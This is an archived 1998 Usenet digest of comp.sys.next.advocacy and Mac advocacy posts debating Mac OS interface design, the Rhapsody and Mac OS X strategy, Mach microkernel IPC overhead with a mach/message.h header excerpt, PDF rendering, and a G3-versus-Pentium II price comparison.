> Hmm. Since the desktop and the items that are on it belong to the
> Finder/Workspace
Yes, but should clicking on a "dead" portion do anything? under OS7/8 it
does, should it still in 10?
> > It's a shame they don't trust Mac-users enough to allow them to destroy
files
> > instantly with Command-r.
>
> cmd-delete moves an item to the Trash in OS 8 (in the Finder). Is this the
> kind of thing you're talking about?
If you ask me, it's a better key for it too.
> > And with the Apple menu on the left
Which of course should be on the right, not the left. What is the Apple
menu? It's a system-wide iconic menu. Where do system-wide iconic menus go?
On the right. This one bugs me.
Maury
From: Bernd Paysan <bernd.paysan@remove.muenchen.this.org.junk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 17:04:18 +0200
Organization: Siemens AG, Semiconductor Group
Message-ID: <356C2B72.294@remove.muenchen.this.org.junk>
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Phil Brewster wrote:
> FWIW, one of the better commentaries I've seen on the subject in the realm
> of education, regarding the questionable impact that computers are having
> on learning in the classroom in spite of all the perceived (and hyped)
> benefits, is at the following URL:
>
> http://www.theatlantic.com/issues/97jul/computer.htm
This article reminds me on the discussion about read and write (a long
time ago, greek philosophers wasted their time on that topic.
It was argued that being able to write will reduce the amount people can
memorize, since they won't need to memorize any longer. It was also
argued that interpresonal skills will decrease, since instead of direct
contact, someone could just read a letter (or a book, in case of
teaching). What a devastating effect to civilization. Er, barbarism,
since we consider only those societies civilizations who are able to
read and write ;-).
There is nothing evil in computers wrt. education; certainly there is no
sense in replacing something useful like in the cited article above
mentioned.
Many of the grown up people today don't feel comfortable with computers,
most of them are computer-illiterate. They see that kids have a total
different view of computers (not evil, not frightening).
Yesterday I heard a report in the radio about computer use in education
in German speaking contries. It was quite positive. The most amazing
result for the teachers is that many children are able to learn
themselves*. Some are frightened by that (it makes them obsolete and
takes control away), but most like it (after all, even they realize that
it is good). Computer use motivates kids to do things themselves:
research informations in the internet or on a lexicon CD-ROM, write own
stories, etc. It's important to view computers as appliance, as tool, or
as medium, not as object of the study itself (most of the time). Being
able to do things "professional" encourages creativity.
The kids were also asked what they wish most of their parents. The reply
wasn't "A P II and a 5 GB harddisk", they just wished to be taken out
for a walk or other things at fresh air, and that the parents should
have more time for them. So if you fear about the helth of kids, don't
accuse computers, accuse overworked parents, and our large cities with
no nature left.
*) the most amazing thing for me is that the teachers are amazed.
--
Bernd Paysan
"Late answers are wrong answers!"
http://www.jwdt.com/~paysan/
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 27 May 1998 17:14:14 GMT
Message-ID: <6khhl6$24g$1@newsfep2.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <356bd21b.1627592@news2.cableinet.net>
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Cc: tony@emiliene.demon.co.uk
In <356bd21b.1627592@news2.cableinet.net> Tony Weston wrote:
> Yeh, but you'll have to use Windows then.. :-)
Heavens no, I would not use windows!! It is much worse than the mac os!! I
would use openstep or rhapsody. WHich are both MUCH MUCH better than the
macos.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 27 May 1998 10:21:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1919997-44B3D@206.165.43.48>
References: <joe.ragosta-2705981214130001@wil96.dol.net>
nntp://news.primenet.com/comp.sys.next.advocacy
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Joe Ragosta <joe.ragosta@dol.net> said:
>Does anyone know how much of the rewrite is likely to be a simple search
>and replace and how much will involve actually rewriting the code?
Even Apple can't answer that until they get back Carbon Dater data.
My guess is that MOST of it is search and replace, but with the caveat that
some of the Carbon APIs require new/different parameters, which might
require unexpected rewrites because the required data isn't available where
it is needed.
E.G., the QDe code requires (I understand) an explicit graphics-port
parameter. If your code needs to pass that parameter around internally,
rather than keep it in a global variable, lots of functions will have to be
rewritten in a minor way. This could take much time, if only to determine
which code needs to be rewritten and how.
OTOH, OOP-based code might simply require you to subclass the right
classes, thereby allowing easy backwards compatibility with System 7.x
machines.
Worst-case would be where things require such extensive rewrites that you
might as well chuck your codebase and go with Rhaposody (in which case,
most people would simply forgo MacOS X support unless they have previous
OpenStep experience).
As I said, until Apple gets the results back from developers, they won't
have any idea what the "average" case looks like.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jsavard@tenMAPSONeerf.edmonton.ab.ca (John Savard)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: For Apple to Survive and Thrive
Date: Wed, 27 May 1998 15:48:17 GMT
Organization: Videotron Communications Ltd.
Message-ID: <356c3481.643085@news.prosurfr.com>
References: <01bd86d8$819a8f90$04387880@test1> <EtJsL2.EI1@micmac.com>
Michel Coste <nospam@micmac.com> wrote:
>This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
>(<01bd86d8$819a8f90$04387880@test1>) by "Todd Heberlein":
>> (4) GAMES, GAMES, GAMES. Most parents buy computers in large part
>> for their children. For this critical market segment, game
>> availability is critical. I believe Jobs recognizes this since at
>> WWDC he said he really wanted to bundle games with the iMac. Apple
>> must attract game developers.
>Not only that but the **BEST** games!!! I mean games you won't find anywhere
>else!
AltiVec might help that a little...
but PCs have DOS, or DOS mode ... and in Windows 95, there is WinG. So
game developers have the choice of going straight to the hardware, or
having GUI facilities made with them in mind. In Windows - and OS/2 -
running an application in fullscreen mode also helps, but that is
probably true on the Mac as well.
Are there facilities in the MacOS designed with game developers in
mind? (I suppose there must be, since games like DOOM have been ported
to the Mac; in a pure GUI regime, something like Castle of the Winds,
not DOOM, is what you might expect - and even the earliest Macs had
arcade titles.)
John Savard
####################################################################
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 27 May 1998 09:41:16 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kgn3s$nc0$6@ns3.vrx.net>
References: <6kb49o$ele$2@geraldo.cc.utexas.edu> <1998052518581700.OAA09788@ladder01.news.aol.com>
<6kc1mp$5tr$1@ns3.vrx.net> <ulnrpdopw.fsf@ai.mit.edu>
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In <ulnrpdopw.fsf@ai.mit.edu> portnoy@ai.mit.edu claimed:
> I do a great deal of work in graphic creation, often working with logo
> design. A highly substantial part of this work is in creating and
> manipulating EPS files.
But isn't that a side effect of (as you note) "I already am very much in
the NeXT world,". If you were in the Mac world, wouldn't this be different?
> them because they're resolution- and platform-independent
So's PDF.
> If EPS goes away, what am I left with?
PDF.
Maury
i.com
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Cc: mjpeck@nstar.net
Xref: news.informatik.uni-muenchen.de comp.sys.next.advocacy:103161 comp.sys.mac.advocacy:371970 comp.sys.powerpc.advocacy:32450
In <356B682A.3079288E@nstar.net> "Michael J. Peck" claimed:
> Apple also says nothing about the continuance of RAVE. I have heard that
> RAVE is dead, and I'm not the only one. Apple owes its users an
> explanation.
I have heard nothing of the sort, and I'm pretty dialled into that group,
including sitting through their hour while they talked about it. I think
this has no basis in reality. AMP anyone?
> Actions speak louder than words (so do suspicious silences).
As we all _should_ have learned over the last few months, silences from
Apple lead to massive numbers of incorrect guesses, and are in fact
meaningless on their own.
Maury
From: frank@this.NO_SPAM.net (Frank M. Siegert)
Newsgroups: comp.sys.next.advocacy
Subject: Re: upgrade path trauma
Date: 27 May 1998 15:30:44 GMT
Organization: Frank's Area 51
Message-ID: <6khbj4$jdv$1@news.seicom.net>
References: <6kfa93$h2s$1@news1.ucsd.edu>
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Cc: gar@lisi.com
In <6kfa93$h2s$1@news1.ucsd.edu> Garrett Lisi wrote:
> So I have two questions for the NeXT community:
> 1) How and why, as a user and hobbyist-developer, should I stay with
Apple's
> moving target of an OS, and how do I keep my 21"?
> and, alternatively
Can't tell you an answer. I - for myself - will stay in the past until the
dust settles. I got the opinion that inside Apple there are a some people not
only thinking different but talking too...
> 2) Does any former NeXTie have a Linux-PC and nextstation living happily as
> blood brothers with an ethernet link? And am I right that Linux is the
> future
> and I'm best to take this path?
Yes, works well.
Linux has definitely a bright future. But if this is your way to go...? It
depends on what you want to do with your system as you won't find MS Office
on this box.
Linux runs quite well on most x86 laptops/notebooks if this is what you want
to do, even in dual boot with other OSes. The only thing to keep a close eye
on is support for the graphics chipset for X11.
--
* Frank M. Siegert [frank@this.net] - Home http://www.this.net/~frank
* NeXTSTEP, IRIX, Solaris, Linux, BeOS, PDF & PostScript Wizard
* "The answer is vi, what was your question...?"
From: agave@blight.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Wed, 27 May 1998 16:07:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6khdnd$hdh$1@nnrp1.dejanews.com>
References: <6kfh4f$6k9$1@nnrp1.dejanews.com> <6kfqoq$rql$1@news.idiom.com>
jcr.remove@this.phrase.idiom.com wrote:
>
> agave@my-dejanews.com may or may not have said:
> -> Does this [different implementations of PDF using diferent
> -> rasterization algorithms] make any sense or am I missing
> -> something fundamental?
>
> What you're missing is the fact that Adobe says what rendering
> algorithms are used. A bezier curve is a bezier curve whether
> you write it or I write it. Same with lines and even-odd rule fills.
>
Ah, that would make sense to me. I was looking through
http://www.adobe.com/supportservice/devrelations/PDFS/TN/PDFSPEC.PDF
though and didn't see any specific references to rasterization algorithms.
The spec emphasises the resolution and device independence of the format but
doesn't actually go so far as to specify what pixels to light up when drawing
a shape. I mean for the simplest example: does a line going from 0,0 to 2,1
look like
x xx
xx or x
If all PDF implementations are required to rasterize in the same manner I see
how you can assure fidelity between screen and printer but I haven't been
able to find any references to that effect. Could you point me to doc's that
state that (or if I missed it in the spec, what page?).
On a simlar note, anyone have any references to the ANSI(?) PDF/X
standard? I couldn't find anything on the web or at ansi.org.
Thanks for the insight,
Ian P. Cardenas
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Q:MacOS X's MACH 3 Question
Date: 27 May 1998 11:27:04 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kgta8$nc0$7@ns3.vrx.net>
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In <7qSa1.612$js2.604228@proxye1.san.rr.com> "Ed Deans." claimed:
> I was wondering if anyone knows how Apple's going to address the problem
IBM
> found when it was using OSF/1's Mach 3 as the basis of its IBM Microkernel
> 1.0 for OS/2 PPC, etc. That problem is with the messaging overhead.
AFAIK IBM did not use OSF's kernel (I could be wrong there) but looking
over the timeline it would have had to be based on one of the very early ones
(if it was). Either way it's likely this is prior to the UU's Mach4.0
roll-in which has occured.
Message overhead is only an issue if you allow it to be. The original
Mach3.0 project saw this problem and installed a "trusted port" which allowed
a single app to have direct memeory sharing with the kernel. This was needed
because the OS emulation layer was to run in user space, and this needed to
have fast access to the kernel. As you might imagine, this is a pretty big
security hole - nor does it fix the problem of interprocess comms or other
apps calling the kernel, so other apps talking to the OS emulator still have
real problems.
Under Mach4.0 this was fixed in a number of ways, the most notable being
the breakdown of "threads" into "shuttles" and "activations". Basically
instead of passing your data into the kernel, the kernel instead passes the
code you need TO YOU (that code is the shuttle). Since the code portion is
invariant, no checking is needed.
Many of the Mach4.0 concepts were then rolled back into OSF/Mk, notably the
thread model. Not incorporated (AFAIK) is the interesting M4 memory model.
In addition they also adopted the co-locatable servers from M4, and
specifically Apple noted that their OS emulator will run in the kernel (this
is a biggie for overall performance).
Colocation was introduced in the Mk6.1 kernel, do you know if the IBM
project used this or some earlier version? Remember that OSF/1 was
originally based on the Mach2.5 kernel, not the 3.0++ versions, and OSF
claims that the latest MK hosted ones are even faster than
> As I understand it, all messages sent to a port has to have its data
checked
> to verify it's valid for that port. That's a *lot* of overhead. IBM's
> solution was to create port classes which described the format a message
> ought to have.
Typed ports. I believe this was introduced by the M4 project at UU (uhh,
reading the slide, it was in there anyway even if they didn't start it).
Their graphs show it outperforming "classic" M3 kernels by about 10 times in
terms of message latency, and that's actually a little better than a normal
BSD kernel (8.7uSecs for BSD, 4.6uSecs for M4). They also had a system that
linked to their migrating threads, but I'm not entirely clear what it does.
I remember reading something on just this topic recently though (last week
or so), I'll have to go back and look for it. I have vague memories of some
new way to fix the problem.
Anyway I HIGHLY recommend a quick read of...
http://www.gr.osf.org/~stephen/fsf96.html, which has an excellent intro to
the MKLinux project, as well as lots of easy intro information to the
speedups in the MK kernel. Most notable is this portion...
In a subsequent experiment we ported OSF/1 1.3 and the microkernel to an HP
PA-RISC workstation. Then we layered an HP-UX (HP's version of Unix)
emulation library on top of OSF/1. This allows us to run HP-UX applications
unchanged on our system. We then performed a variety of performance tests
including AIM III (a common multi-user Unix benchmark), TTCP and others. Most
of the tests indicate that OSF/1 using HP-UX emulation libraries has equal or
superior performance to HP-UX [11]. This result came as a pleasant surprise
and is generally considered a vindication of our performance efforts.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: 27 May 1998 09:34:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1918E95-1B527@206.165.43.48>
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Michael J. Peck <mjpeck@nstar.net> said:
>The best (and sometimes, only) way to get the most out of hardware
>drivers is to get them from the manufacturers. I hope Apple is working
>to get this support.
SOme time ago, I suggested that Apple extend the DriverKit to support the
creation of non-Rhaposdy drivers. In that way, manufacturers would have an
incentive to use it to create drivers for MacOS, WIntel AND Rhapsody in
much the same way as OpenStep developers can write code to support several
different platforms using the same source.
If this could be done, Apple would merely be working to support the generic
driver framework and each manufacturer would be able to write a single bit
of driver code to support several different platforms.
Win-win all around, if it were possible.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 27 May 1998 17:32:48 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6khio0$dr2$1@news.spacelab.net>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu> <aa829-2205981611290001@port17.dialb2.gain-ny.com> <6kb2si$ele$1@geraldo.cc.utexas.edu> <see-below-2505980150360001@209.24.240.99> <1d9ldn2.wey5o41nx46nwN@carina25.wco.com> <6kg9pc$h5j$1@geraldo.cc.utexas.edu>
kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
>Mike Paquette (mpaque@wco.com) wrote:
>: The Digital Signal Processor was not used for display graphics, 2D or 3D
>: rendering, or to accelerate Display PostScript. The overhead of moving
>: data to and from the 56001 DSP memory would swamp any possible
>: performance gain for almost all graphics work.
>
>TeeHee. Just check out old versions of the Mandlebrot.app (that use the
>DSP) vs. the newest version (that use the CPU). The DSP is *much* faster
>than the CPU.
Absolutely. But the engine of Mandelbrot was a simply-expressed calculation
that was iterated hundreds to thousands of times for every pixel, so the calc
time was much higher than the communications overhead.
Nice demo, but not very typical of what a display system usually does.
[ ... ]
> High end graphics systems use multiple custom DSPs to enhance performance.
> There's no need to always pump streams of data between the DSP and CPU.
> The DSP could talk to the graphics subsystem directly. Think of it more
> as a heterogeneous SMP instead of an add-on instruction set.
High-end graphics systems tend to be used to do things like apply complex
filters (ala Photoshop et al) and do rendering, and they work by having the
application software specificly modified to take advantage of the custom DSP
boards.
Again, not too typical.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
Date: Mon, 25 May 1998 17:21:52 -0500
From: anewmanagn@ideasign.com (Allen Newman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Rhapsody/Intel -- DUH!
Message-ID: <anewmanagn-2505981721530001@a3p11.ideasign.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com>
Organization: The Milky Way Galaxy
Distribution: World
All Apple is "abandoning" pie in the sky. The Mac OS X strategy is a
much-needed dose of sanity. The idea of Rhapsody someday running on 100%
of desktops is a wonderful vision, but unrealistic without lots of killer
Yellow apps to sell the thing, not to mention compatibility with existing
x86 apps. Remember, Apple makes its money from computers -- how would
they make money from Rhapsody for Intel? Microsoft makes money by
leveraging Windows as a platform for MS app software, all of which is
delivered to customers on third-party hardware. Apple makes money by
using the Mac OS to sell its own computers. These are TOTALLY different
businesses. The only time Apple should release software for Intel is when
it helps advance/protect a Mac content standard, such as QuickTime.
Yellow Runtime for Windows is like QuickTime, only bigger -- it runs
applications rather than movies, but like QuickTime it doesn't seek to
upset Wintel users' paradigms. From Apple's POV, Yellow Runtime for
Windows serves the same market function as QuickTime, which is to assure
authors that their work will not be limited to one platform. Rhapsody for
Intel, although a bolder move, would ironically be a less effective means
of spreading the Yellow standard -- for one thing, it's too much to ask
that Intel OEMs and users give up their Microsoft OS due to presently
insurmountable FUD and limited Yellow app availability, and secondly, it
pits Apple against Microsoft all over again, and "failure", however you'd
perceive it, would taint Yellow on all platforms.
Fear not, the Yellow API is alive and well in both Mac OS X and Yellow
Runtime for Windows, and there is little reason besides inertia why new
apps shouldn't be Yellow. Yellow on Mac OS X and Windows will allow
cross-platform development without "forcing" anyone to make hard choices.
Take the long view, and there will eventually be a large number of Yellow
apps. It may take 5 years, or 10, but eventually there will be enough
Yellow apps to serve the complete needs of a lot of customers. This
leaves the door open for Apple to someday release an OS for Intel if
market demand reaches critical mass -- though it's more likely that
Microsoft would preemptively assimilate (oops, I mean "innovate") Yellow
APIs into its own OS once the demand for it was proven.
--
---------------------------- ALLEN NEWMAN ----------------------------
Self-taught Mac masseur since 1984, Trek geek, theatre-school groupie,
mass comm. product, Superman fan & member of the Star Wars Generation.
----- MagicAl`s DARK FORCES Niche: http://swgamers.com/magical/ -----
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: Wed, 27 May 1998 11:46:16 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2705981146160001@dante.eng.uci.edu>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37> <356662FD.D56CC983@nstar.net> <rmcassid-2305980010180001@dialin9223.slip.uci.edu> <3566CEAC.EC53C221@nstar.net> <rmcassid-2505982311390001@dialin9062.slip.uci.edu> <356AD3B0.5FA67D27@nstar.net> <handleym-2605981624320001@handma.apple.com> <356B682A.3079288E@nstar.net> <6kglpc$nc0$3@ns3.vrx.net>
In article <6kglpc$nc0$3@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <356B682A.3079288E@nstar.net> "Michael J. Peck" claimed:
>> Actions speak louder than words (so do suspicious silences).
> As we all _should_ have learned over the last few months, silences from
>Apple lead to massive numbers of incorrect guesses, and are in fact
>meaningless on their own.
While I agree with Michael that developers who want to target Apple
products are being left in a bit of a lurch, I think that 'silence==bad
direction' has not been a dominant trend with Apple lately.
In fact, silence has often led to the things that we expect with
variations that we can normally see reasoning for. Rhapsody/Intel seems to
be a bit of an exception right now. So I don't think we should conclude
that Apple is about to do something truly boneheaded, though the
possibility always exists. They could do something truly ingenious as
well.
Maynard's response should put an end to AltiVec and 3D discussions for
now. I threw out my info, he provided a nice non-response to them and
stomped on any flames suggested by Michael that might have grown out of
control. If Maynard isn't talking, then there isn't anything to conclude
at this time, as far as I'm concerned. Anything is possible.
But a note to Maynard: I and others were told that OpenGL would be
integrated into QT by an Apple tech in a public forum. He might be wrong.
He might be outside his bounds by saying that. Apple may have changed
directions. That's all fine with me. But it did come from an Apple paid
employee, so I considered it credible at the time. I'll assume based on
your response that it may not be. This was quite some time ago, before any
hint of OpenGL in QT appeared on the rumors sites that I know of.
-Bob Cassidy
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Q:MacOS X's MACH 3 Question
Date: 27 May 1998 19:27:16 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6khpek$ea7$1@news.spacelab.net>
References: <7qSa1.612$js2.604228@proxye1.san.rr.com>
"Ed Deans." <eadeans@san.rr.com> wrote:
>I was wondering if anyone knows how Apple's going to address the problem IBM
>found when it was using OSF/1's Mach 3 as the basis of its IBM Microkernel
>1.0 for OS/2 PPC, etc. That problem is with the messaging overhead.
IIRC, the primary problem with Mach 3 (particularly earlier variants)
performance compared to monolithic kernel variants was more in the
context-switching overhead than in the IPC message overhead.
>As I understand it, all messages sent to a port has to have its data checked
>to verify it's valid for that port. That's a *lot* of overhead.
It's a little more complicated than that. A process trying to send a message
will have the system check the port access rights to verify that it has
permissions to talk to the receipient. Then the kernel verifies that the
message itself is well-formed, which involves striding the message and
checking that the individual type attribute/data element(s) associations are
well-formed.
See below for a excerpt from the headers.
> IBM's solution was to create port classes which described the format a
> message ought to have. Signatures id the acceptable formats for a
> particular port. The valid signatures are registered with the kernel
> so each message can be checked against them fairly quickly unlike the
> OSF/1 Mach 3 design where headers have to be parsed and message data
> examined *every* time.
So? Examining a header and verifying port rights takes on the order of 100
clock cycles. Examining a data item takes on the order of 10 clock cycles
(for the short message type, anyway, and for the large message type, the
overhead is negligible compared to the time required to generate and use the
content).
Doing a context switch takes hundreds (to thousands) of cycles, since you
have to flush the CPU pipeline and the TLB, interact with the scheduler, load
the new VM page mappings for the new task, and so forth. And you'll need to
switch back to the kernel once you're done, too.
Remember that Mach was explicitly designed to do IPC and do it fast-- by
having just one well-tuned implementation (although it presents this one
mechanism via multiple abstractions for BSD syscall compatibility).
NEXTSTEP/OPENSTEP uses IPC extremely heavily, and it's worthwhile comparing
OPENSTEP apps on Mach to OPENSTEP/Enterprise apps on NT. One of the reasons
why OS/E is slower and less stable is because NT doesn't handle the IPC load
as well....
-Chuck
From <mach/message.h>:
/*
* Every message starts with a message header.
* Following the message header are zero or more pairs of
* type descriptors (mach_msg_type_t/mach_msg_type_long_t) and
* data values. The size of the message must be specified in bytes,
* and includes the message header, type descriptors, inline
* data, and inline pointer for out-of-line data.
[ ... ]
typedef unsigned int mach_msg_bits_t;
typedef unsigned int mach_msg_size_t;
typedef natural_t mach_msg_seqno_t;
typedef integer_t mach_msg_id_t;
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_seqno_t msgh_seqno;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
[ ... ]
/*
* The msgt_number field specifies the number of data elements.
* The msgt_size field specifies the size of each data element, in bits.
* The msgt_name field specifies the type of each data element.
* If msgt_inline is TRUE, the data follows the type descriptor
* in the body of the message. If msgt_inline is FALSE, then a pointer
* to the data should follow the type descriptor, and the data is
* sent out-of-line. In this case, if msgt_deallocate is TRUE,
* then the out-of-line data is moved (instead of copied) into the message.
* If msgt_longform is TRUE, then the type descriptor is actually
* a mach_msg_type_long_t.
*
* The actual amount of inline data following the descriptor must
* a multiple of the word size. For out-of-line data, this is a
* pointer. For inline data, the supplied data size (calculated
* from msgt_number/msgt_size) is rounded up. This guarantees
* that type descriptors always fall on word boundaries.
*
* For port rights, msgt_size must be 8*sizeof(mach_port_t).
* If the data is inline, msgt_deallocate should be FALSE.
* The msgt_unused bit should be zero.
* The msgt_name, msgt_size, msgt_number fields in
* a mach_msg_type_long_t should be zero.
*/
typedef unsigned int mach_msg_type_name_t;
typedef unsigned int mach_msg_type_size_t;
typedef natural_t mach_msg_type_number_t;
typedef struct {
unsigned int msgt_name : 8,
msgt_size : 8,
msgt_number : 12,
msgt_inline : 1,
msgt_longform : 1,
msgt_deallocate : 1,
msgt_unused : 1;
} mach_msg_type_t;
typedef struct {
mach_msg_type_t msgtl_header;
unsigned short msgtl_name;
unsigned short msgtl_size;
natural_t msgtl_number;
} mach_msg_type_long_t;
From: tsn@netusa1.net (Ike Gilbert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 27 May 1998 18:11:40 GMT
Organization: NetUSA1 Inc.
Message-ID: <tsn-2705981315200001@indyu133.netusa1.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com>
In article <6kf6jk$mcf$1@newsfep2.sprintmail.com>, macghod@concentric.net wrote:
> I am looking to buy a computer. It MUST run the best operating system in the
> world.
> So that narrows things down to a pentium or a g3 mac (or 604e mac). A 233 g3
> is definitely fast enough for me, as is a p2 300. But a g3 233 costs $1500
> mail order, and this does not even have the tower case that the p2 has.
> Plus, look what one can get for much less: A LOT MORE!!
>
> Pentium II 300Mhz System€
>
> Intel Pentium II processor,
The PowerPC G3 has been proven to be consistantly faster than the PII.
> M715€ motherboard,
> 64Mb SDRAM,
True, the G3 only comes with 32MB standard, but you can add more RAM for
pretty cheap.
> L2 Pipelined Burst Cache, 512k,
The G3 uses a 512k BACKSIDE cache, which I believe is faster than a L2
pipelined burst cache.
> 4.3Gb IDE hard drive,
The G3 comes with a 3 GB hard drive, so a loss of 1.3 GB storage.
> 4Mb AGP 3D graphics accelerator,
The G3 comes uses the Rage pro graphics accelerator, which works in
2D/3D. I'm not sure how they compare, but more than likely both cards
give similar performance gains. I mean, this PC freebie is no VooDoo 2.
> 17" NI .28dp SVGA Color Monitor,
Well, you have a point there.
> 32-speed CD-Rom drive with audio,
The G3 comes with a 24 speed CD-ROM, and macs have always been able to
play audio CD's from their internal/external CD drives. The PC CD-ROM is
33% faster than the one which comes in the G3, but I wouldn't think that
would cause a bottleneck in using software, especially since most
developers plan for only a quad speed CD-ROM.
> 3 1/2" floppy drive,
Included with the G3.
> 56k€ fax/modem/voice,€
There's another point.
> 16-bit on board sound,
This quality of sound equipment or better has been standard on the mac for
many years. I'm using an old LC II (7 years old?) and it can handle
44-bit sound without any problem.
> speakers, 320 watt, surround sound (not shown)
There is an internal speaker included on the G3 but I doubt it would match
the quality of external speakers, although since they are free I doubt the
highest quality sound.
> mid-tower case, 250watt power supply
There is a tower version of the G3 that sells for more, but since the
motherboards used in both are identical, the only gain achieved would be a
little more space for add-on cards, which probably isn't necessary.
> Microsoft compatible mouse,
> microphone,
> keyboard,
All of these are included with G3 (Not Microshaft compatible, of course.)
> 1 year parts & labor warranty.
All G3s come with a similar warranty--1 year.
> All this for only $1285!!! I can probably sell my dad the 17 inch monitor
> for $300, so this would be only $1000!!! compared to $1500 for the mac g3.
> And not only does the mac g3 not in the tower case, but it doesnt have the 4
> megs of vram, the 64 megs of ram, and the 56 k modem!! To get the g3 up to
> this, without having to spend $100 per item to have it put in, you have to
> use apples bto store. Adding the ram to 64 megs, adding vram, and adding a
> modem raises the price to over $2000!!!!! Using a minitower its over $2200!!
Here's what you're really getting for free:
32 MB SDRAM
1.3 GB storage space
Cheap 17" Monitor
A slightly faster CD-ROM drive
56k modem
Low quality external speakers
Now, this list isn't as big as you thought.
While I will admit that this is a hefty load of freebies which they are
supplying, how much of this would really matter? I could never ever use
3.0 GB of storage space, so the extra 1.3 GB doesn't matter to me. I
wouldn't care about the CD-ROM, and I have never been one for low-quality
stereo sound, and have never had a problem with the built in sound on any
machine. And it seems to me that you are not very thrilled about keeping
the free monitor, so lets just drop that. And SELLING it to your parents,
you should be ashamed.
32 MB SDRAM
56k Modem
------------------
about 200 dollars
So for $1700, I can get a G3 PowerMac that is up to twice as fast as a PC
that costs $1300. I get to use a much more user friendly operating
system, and if I decide to I can use PPC Linux and really see the speed
difference between the PPC and the PII. That $400 goes quite a long way,
don't you think? ($700 if you decide to be a cheap bastard and sell the
monitor to your parents.)
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: For Apple to Survive and Thrive
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <01bd86d8$819a8f90$04387880@test1> <EtJsL2.EI1@micmac.com> <356c3481.643085@news.prosurfr.com>
Message-ID: <356c5b68.0@news.depaul.edu>
Date: 27 May 98 18:28:56 GMT
In comp.sys.next.advocacy John Savard <jsavard@tenMAPSONeerf.edmonton.ab.ca> wrote:
> AltiVec might help that a little...
Has id's John Carmack made any remarks about AltiVec? I'd expect
that they could think of some ways to put it to use. It might help
if Apple provides OpenGL. Especially if that implementation of OpenGL
provides hooks for third-party developers to use custom optimizations.
- Jon
--
"... and subpoenas for all." - Ken Starr
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
